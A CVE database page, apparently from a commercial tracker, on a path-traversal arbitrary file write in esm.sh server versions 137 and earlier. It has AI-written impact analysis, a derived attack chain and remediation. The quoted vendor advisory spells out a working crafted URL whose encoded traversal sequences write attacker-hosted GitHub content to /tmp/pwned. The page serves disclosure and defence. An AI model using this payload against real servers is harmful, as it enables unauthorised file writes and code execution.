Attack ChainAIDerived
Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain
-
ReconSend URL-encoded crafted request to legacy route
-
DeliveryRouter proxies to legacy server and fetches attacker GitHub file
-
ExploitTraversal sequences bypass storage-key sanitization
-
InstallContent written to arbitrary filesystem path
-
C2Overwrite critical binary or script
-
ExecuteServer executes tampered file
-
ImpactRemote code execution as server user
Vulnerability Assessment
| Weakness |
CWE
OWASP Top 10:2025
A01:2025 - Broken Access Control
ASVS 5.0
V5 - File Handling Path canonicalization, traversal prevention
MITRE ATT&CK
2 techniques across 2 tactics: Discovery, Collection The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up. |
| Exploitation Conditions | Exploitation requires the target to be running a self-hosted esm.sh server at version ≤ 137 with the legacy router (the /v1xx/ compatibility routes handled by server/legacy_router.go) reachable by the attacker; the attacker must also control a public GitHub repository to supply the file contents that get written. No authentication, no user interaction, and no special privileges are needed (CVSS PR:N/UI:N), and the request is a single crafted HTTP GET using URL-encoded traversal sequences (%2f, %23, '../'). Limiting factors that reduce real-world risk: the arbitrary write only succeeds against paths the server process has write permission for, and escalation to RCE additionally requires that a writable path also be an executable/script location that is later run - so hardened deployments with an unprivileged service account, read-only root filesystem, or containerized/ephemeral storage substantially blunt the impact even if the file write itself succeeds. |
| Impact | The vendor CVSS 4.0 score is 8.7 (High) with vector AV:N/AC:L/AT:N/PR:N/UI:N and impact scored as integrity-only (VI:H, VC:N/VA:N), reflecting the confirmed arbitrary-file-write primitive rather than fully-realized RCE. In practice the write-then-execute chain (overwriting a binary/script the server later runs) can yield full code execution, so real-world integrity and availability impact is higher than the integrity-only scoring suggests. Countervailing signals: EPSS is very low at 0.06% (20th percentile) and there is no CISA KEV listing, indicating no confirmed mass exploitation. However, EPSS low + detailed public exploit is not contradictory here - the low probability reflects the niche self-hosted footprint, not exploit difficulty; the technique itself is straightforward and fully documented. One caveat to verify: successful RCE depends on the server process having write access to an executable path and on that path being executed, which is deployment-specific and not guaranteed on hardened, read-only, or containerized deployments. |
| Exploit ScenarioDerived | A remote unauthenticated attacker hosts a malicious file in a public GitHub repository, then sends a single crafted URL-encoded request to a self-hosted esm.sh server (e.g. .../foo.md%23%2f..%2f..%2f..%2ftmp%2fpwned) that traverses out of the storage directory. The server fetches the attacker's file and writes its contents to the chosen path; by targeting a script or binary the server subsequently executes, the attacker gains remote code execution with the server's privileges. A full reproducible exploit is published in the GHSA advisory. |
Get an e-mail when this CVE is exploited, patched or re-scored. Free account.
Alert meAnalysisAIv1 – Jul 23, 2026
Arbitrary file write in the esm.sh module CDN server (versions ≤ 137) lets remote unauthenticated attackers write attacker-controlled content to any path the server process can write to, and by overwriting binaries or scripts, escalate to remote code execution with the server's privileges. The flaw lives in the legacy router (legacy_router.go), which concatenates URL-encoded path segments into a storage key without sanitization before calling buildStorage.Put. A detailed, reproducible exploit walkthrough is published in the vendor GHSA advisory, so publicly available exploit code exists; EPSS is low (0.06%, 20th percentile) and the CVE is not on CISA KEV.
RemediationAI
Vendor-released patch: upgrade to esm.sh v137_3 (Go pseudo-version 0.0.0-20260508100112-1960055e1d53), which adds security hardening for path traversal - preventing traversal in module resolution (PR #1353) and rejecting path-traversal keys in filesystem storage (PR #1351). See the advisory at https://github.com/esm-dev/esm.sh/security/advisories/GHSA-3636-h3vx-6465 and release notes at https://github.com/esm-dev/esm.sh/releases/tag/v137_3. If immediate upgrade is not possible, apply compensating controls: block or reject requests to the legacy /v1xx/ router paths at a reverse proxy (trade-off: breaks legacy module compatibility for older clients), and normalize/decode incoming request paths at the proxy and reject any containing encoded or literal traversal sequences (%2e%2e, %2f, %23, '../'). Additionally, run the esm.sh process as an unprivileged user on a read-only or narrowly-scoped filesystem so an arbitrary write cannot land on an executable path (trade-off: requires the build cache/storage directory to remain the only writable location), which limits the write primitive from escalating to RCE.
Affected VersionsENISA
Affected Packages
Source: OSV (Open Source Vulnerabilities)
Affects your stack
Affects 2 packages in go, euvd
Checking this CVE against your own stacks and servers is part of the Basic plan and up.
Technical ContextAI · show details
esm.sh is a Go-based CDN/build server that transpiles and serves npm and GitHub-hosted ES modules. The vulnerability is a classic CWE-22 path traversal: the legacy compatibility route parses the request path, fetches the referenced module (e.g. from a GitHub repo via the /gh/ prefix), and derives a filesystem storage key of the form 'legacy/<version>/<pkg>/...'. Because URL-encoded traversal sequences (%2f = '/', %23 = '#') and '../' segments are neither decoded-then-validated nor stripped, the resulting key such as 'legacy/v111/react@19.2.0/esnext/../../../gh/<attacker>/exp@.../foo.md#/../../../../tmp/pwned' is normalized by the OS filesystem down to an absolute location like /tmp/pwned. The affected package is pkg:go/github.com_esm-dev_esm.sh. The write content is the body of the file fetched from an attacker-controlled GitHub repository, giving the attacker control over both the destination path and the written bytes.
Know when the next one hits your stack
- Watch products and get an email when something new is published
- Check this CVE against your own stack and servers
- Exploit and PoC references, threat intelligence from 22 sources
No credit card · 7-day full trial
Severity by source
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:H/VA:N/SC:N/SI:N/SA:N
Remote unauthenticated single request (AV:N/AC:L/PR:N/UI:N) yields attacker-controlled arbitrary file write leading to code execution as the server, justifying full C/I/A:H rather than the vendor's integrity-only scoring.
Primary rating from Vendor (https://github.com/esm-dev/esm.sh).
CVSS VectorVendor: https://github.com/esm-dev/esm.sh
Lifecycle Timeline
3DescriptionCVE.org
Impact
- Arbitrary File Write - An attacker can cause the server to write data to any file path it has write permission for.
- Privilege Escalation / RCE - By overwriting critical binaries or scripts, the attacker can execute arbitrary code with the server’s privileges.
Exploit
The legacy router first retrieves a response from legacyServer, parses the incoming request path, and ultimately writes the data to storage via buildStorage.Put (see <https://github.com/esm-dev/esm.sh/blob/4312ae93e518121e764a18bb521af12e490ef137/server/legacy_router.go#L291>).
For a URL such as:
http://ESM_SH_HOST/v111/react@19.2.0/esnext/..%2f..%2f..%2fgh/<attacker>/exp@1171e85d5d/foo.md%23%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2ftmp%2fpwnedthe router concatenates the path components without sanitizing them, producing a storage key like:
legacy/v111/react@19.2.0/esnext/../../../gh/<attacker>/exp@1171e85d5d/foo.md#/../../../../../../../../../../tmp/pwnedWhen this key is used, the underlying file system resolves the relative segments and writes the file to /tmp/pwned. Thus an attacker can craft a request that writes data to arbitrary locations on the server.
Details
- URL Construction
A crafted request is sent to the server:
http://ESM_SH_HOST/v111/react@19.2.0/esnext/..%2f..%2f..%2fgh/<attacker>/exp@1171e85d5d/foo.md%23%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2ftmp%2fpwned- Proxy to Legacy Server
The request is forwarded to:
http://legacy.esm.sh/v111/react@19.2.0/esnext/../../../gh/<attacker>/exp@1171e85d5d/foo.md#/../../../../../../../tmp/pwnedwhich resolves to:
http://legacy.esm.sh/gh/<attacker>/exp@1171e85d5d/foo.md- File Retrieval
The server fetches foo.md from the GitHub repository https://github.com/<attacker>/exp.
- Path Normalisation & Storage
The storage path derived from the request is:
legacy/v111/react@19.2.0/esnext/../../../gh/<attacker>/exp@1171e85d5d/foo.md#/../../../../../../../../../../tmp/pwnedNormalising this path yields /tmp/pwned. The retrieved file content is then written to that location.
- Result
By repeating this pattern, an attacker can overwrite arbitrary binaries or scripts on the server, paving the way for remote code execution.
Credit Discovery To
splitline (@\_splitline\_) from DEVCORE Research Team
Executive ViewAI
The esm.sh JavaScript module CDN contains a critical vulnerability in versions 137 and earlier that enables unauthenticated remote code execution through arbitrary file writes. If exploited, attackers could inject malicious code into the organization's software supply chain, automatically affecting any dependent applications across the enterprise. While publicly available exploit code exists, EPSS probability remains low at this time.
Apply vendor patch.
Threat Intelligence Overview
How this decision was reached
The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.
What every action level means
SSVC AssessmentENISA
Priority Score
Attack Technique
Privilege escalation occurs when an attacker leverages flaws in access control mechanisms to gain permissions beyond what they were originally granted.
Path traversal exploits occur when applications use user-controlled input to construct file system paths without proper validation.
Remote Code Execution represents the critical moment when an attacker successfully runs arbitrary code on a target system without physical access.
Same weakness CWE-22 – Path Traversal
View allSame technique Privilege Escalation
View allVendor StatusVendor
SUSE
Severity: Important| Product | Status |
|---|---|
| SUSE Linux Enterprise Server 16.1 | Affected |
| SUSE Linux Enterprise Server for SAP applications 16.1 | Affected |
| SUSE Linux Enterprise Module for Package Hub 15 SP5 | Affected |
| SUSE Linux Enterprise Module for Package Hub 15 SP6 | Affected |
| openSUSE Leap 15.5 | Affected |
| openSUSE Leap 15.6 | Affected |
EUVD-2026-32910
GHSA-3636-h3vx-6465
NVD
CVE.org
EPSS
Exploit-DB